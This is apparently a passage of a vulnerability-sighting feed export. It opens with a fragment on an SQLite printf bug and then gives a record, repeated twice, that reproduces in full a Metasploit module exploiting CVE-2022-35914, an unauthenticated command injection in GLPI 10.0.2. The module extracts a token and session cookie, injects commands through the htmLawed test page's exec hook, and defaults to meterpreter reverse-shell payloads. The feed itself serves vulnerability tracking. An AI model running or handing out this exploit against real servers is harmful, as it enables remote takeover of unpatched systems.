[;\u2026]\u00a0conversion symbols, and then pass in a string that is over 2GB in size\u201d.\n\nThe software developer added:\n\n\u201cLots of applications use SQLite, but only a small percentage of those use the sqlite3_mprintf() API, and an even smaller percentage make use of %Q, %q, or %w. Of those that do, most do not provide a way for an attacker to arrange for a 2GB+ string to be passed into the argument to %Q, %q, or %w.\u201d\nTrending: Exploit XSS Injections in a one-line powerful Technique\nTrending: Recon Tool: Hakrawler Unearthing FossilIn addition, while the project uses the Fossil control system and this software uses printf, the team [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:57.512691Z"} https://vulnerability.circl.lu/sighting/c8ce4df3-53e3-4d73-8d70-fefd84caa4eb/export Sun, 06 Sep 2026 00:00:57 +0000 https://vulnerability.circl.lu/sighting/22116a7e-41a8-4822-95ef-9e7ad278cb88/export {"uuid": "22116a7e-41a8-4822-95ef-9e7ad278cb88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/74185", "content": "Exploit Collector\nGLPI 10.0.2 Command Injection\n\nhttps://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png This Metasploit module exploits an unauthenticated PHP command injection vulnerability in GLPI versions 10.0.2 and below to execute a command.\n\nSHA-256 | 529159bd26d8ef9713fdda0560ec98c0fd7749d335736c9d27898c59fbf09efbDownload ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\nRank = ExcellentRanking\n\nprepend Msf::Exploit::Remote::AutoCheck\ninclude Msf::Exploit::Remote::HttpClient\ninclude Msf::Exploit::CmdStager\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'GLPI htmLawed php command injection',\n'Description' => %q{\nThis exploit takes advantage of a unauthenticated php command injection available\nfrom GLPI versions 10.0.2 and below to execute a command.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'cosad3s', # PoC https://github.com/cosad3s/CVE-2022-35914-poc\n'bwatters-r7' # module\n],\n'References' => [\n['CVE', '2022-35914' ],\n['URL', 'https://github.com/cosad3s/CVE-2022-35914-poc']\n],\n'Platform' => 'linux',\n'Arch' => [ARCH_X64, ARCH_CMD],\n'CmdStagerFlavor' => [ 'printf' ],\n'Targets' => [\n[\n'Unix Command',\n{\n'Platform' => 'unix',\n'Arch' => ARCH_CMD,\n'Type' => :unix_cmd,\n'DefaultOptions' => {\n'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',\n'RPORT' => 80,\n'URIPATH' => '/glpi/'\n}\n}\n],\n[\n'Linux (Dropper)',\n{\n'Platform' => 'linux',\n'Arch' => [ARCH_X64],\n'DefaultOptions' => {\n'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',\n'RPORT' => 80,\n'URIPATH' => '/glpi/'\n},\n'Type' => :linux_dropper\n}\n],\n],\n'DisclosureDate' => '2022-01-26',\n'DefaultTarget' => 0,\n'Notes' => {\n'Stability' => [ CRASH_SAFE ],\n'Reliability' => [ REPEATABLE_SESSION ],\n'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]\n}\n)\n)\nend\n\ndef populate_values\nuri = \"#{datastore['URIPATH']}/vendor/htmlawed/htmlawed/htmLawedTest.php\"\nbegin\nres = send_request_cgi({\n'method' => 'GET',\n'uri' => normalize_uri(uri),\n'connection' => 'keep-alive',\n'accept' => '*/*'\n})\n@html = res.get_html_document\n@token = @html.at_xpath('//input[@id=\"token\"]')['value']\nvprint_status(\"token = #{@token}\")\n\n# sometimes I got > 1 sid. We must use the last one.\n@sid = res.get_cookies.match(/.*=(.*?);.*/)[1]\nvprint_status(\"sid = #{@sid}\")\nrescue NoMethodError => e\nelog('Failed to retrieve token or sid', error: e)\nend\nend\n\ndef execute_command(cmd, _opts = {})\npopulate_values if @sid.nil? || @token.nil?\nuri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'\n\nsend_request_cgi({\n'method' => 'POST',\n'uri' => normalize_uri(uri),\n'cookie' => 'sid=' + @sid,\n'ctype' => 'application/x-www-form-urlencoded',\n'encode_params' => true,\n'vars_post' => {\n'token' => @token,\n'text' => cmd,\n'hhook' => 'exec',\n'sid' => @sid\n}\n})\nend\n\ndef check\npopulate_values if @html_doc.nil?\nif @token.nil? || @sid.nil? || @html.nil?\nreturn Exploit::CheckCode::Safe('Failed to retrieve htmLawed page')\nend\nreturn Exploit::CheckCode::Appears if @html.to_s.include?('htmLawed')\n\nreturn Exploit::CheckCode::Safe('Unable to determine htmLawed status')\nend\n\ndef exploit\nprint_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\ncase target['Type']\nwhen :unix_cmd\nexecute_command(payload.encoded)\nwhen :linux_dropper\nexecute_cmdstager\nend\nend\n\nend Source:packetstormsecurity.com", "creation_timestamp": "2026-09-06T00:00:57.047019Z"} {"uuid": "22116a7e-41a8-4822-95ef-9e7ad278cb88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/74185", "content": "Exploit Collector\nGLPI 10.0.2 Command Injection\n\nhttps://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png This Metasploit module exploits an unauthenticated PHP command injection vulnerability in GLPI versions 10.0.2 and below to execute a command.\n\nSHA-256 | 529159bd26d8ef9713fdda0560ec98c0fd7749d335736c9d27898c59fbf09efbDownload ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\nRank = ExcellentRanking\n\nprepend Msf::Exploit::Remote::AutoCheck\ninclude Msf::Exploit::Remote::HttpClient\ninclude Msf::Exploit::CmdStager\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'GLPI htmLawed php command injection',\n'Description' => %q{\nThis exploit takes advantage of a unauthenticated php command injection available\nfrom GLPI versions 10.0.2 and below to execute a command.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'cosad3s', # PoC https://github.com/cosad3s/CVE-2022-35914-poc\n'bwatters-r7' # module\n],\n'References' => [\n['CVE', '2022-35914' ],\n['URL', 'https://github.com/cosad3s/CVE-2022-35914-poc']\n],\n'Platform' => 'linux',\n'Arch' => [ARCH_X64, ARCH_CMD],\n'CmdStagerFlavor' => [ 'printf' ],\n'Targets' => [\n[\n'Unix Command',\n{\n'Platform' => 'unix',\n'Arch' => ARCH_CMD,\n'Type' => :unix_cmd,\n'DefaultOptions' => {\n'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',\n'RPORT' => 80,\n'URIPATH' => '/glpi/'\n}\n}\n],\n[\n'Linux (Dropper)',\n{\n'Platform' => 'linux',\n'Arch' => [ARCH_X64],\n'DefaultOptions' => {\n'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',\n'RPORT' => 80,\n'URIPATH' => '/glpi/'\n},\n'Type' => :linux_dropper\n}\n],\n],\n'DisclosureDate' => '2022-01-26',\n'DefaultTarget' => 0,\n'Notes' => {\n'Stability' => [ CRASH_SAFE ],\n'Reliability' => [ REPEATABLE_SESSION ],\n'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]\n}\n)\n)\nend\n\ndef populate_values\nuri = \"#{datastore['URIPATH']}/vendor/htmlawed/htmlawed/htmLawedTest.php\"\nbegin\nres = send_request_cgi({\n'method' => 'GET',\n'uri' => normalize_uri(uri),\n'connection' => 'keep-alive',\n'accept' => '*/*'\n})\n@html = res.get_html_document\n@token = @html.at_xpath('//input[@id=\"token\"]')['value']\nvprint_status(\"token = #{@token}\")\n\n# sometimes I got > 1 sid. We must use the last one.\n@sid = res.get_cookies.match(/.*=(.*?);.*/)[1]\nvprint_status(\"sid = #{@sid}\")\nrescue NoMethodError => e\nelog('Failed to retrieve token or sid', error: e)\nend\nend\n\ndef execute_command(cmd, _opts = {})\npopulate_values if @sid.nil? || @token.nil?\nuri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'\n\nsend_request_cgi({\n'method' => 'POST',\n'uri' => normalize_uri(uri),\n'cookie' => 'sid=' + @sid,\n'ctype' => 'application/x-www-form-urlencoded',\n'encode_params' => true,\n'vars_post' => {\n'token' => @token,\n'text' => cmd,\n'hhook' => 'exec',\n'sid' => @sid\n}\n})\nend\n\ndef check\npopulate_values if @html_doc.nil?\nif @token.nil? || @sid.nil? || @html.nil?\nreturn Exploit::CheckCode::Safe('Failed to retrieve htmLawed page')\nend\nreturn Exploit::CheckCode::Appears if @html.to_s.include?('htmLawed')\n\nreturn Exploit::CheckCode::Safe('Unable to determine htmLawed status')\nend\n\ndef exploit\nprint_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\ncase target['Type']\nwhen :unix_cmd\nexecute_command(payload.encoded)\nwhen :linux_dropper\nexecute_cmdstager\nend\nend\n\nend Source:packetstormsecurity.com", "creation_timestamp": "2026-09-06T00:00:57.047019Z"} https://vulnerability.circl.lu/sighting/22116a7e-41a8-4822-95ef-9e7ad278cb88/export Sun, 06 Sep 2026 00:00:57 +0000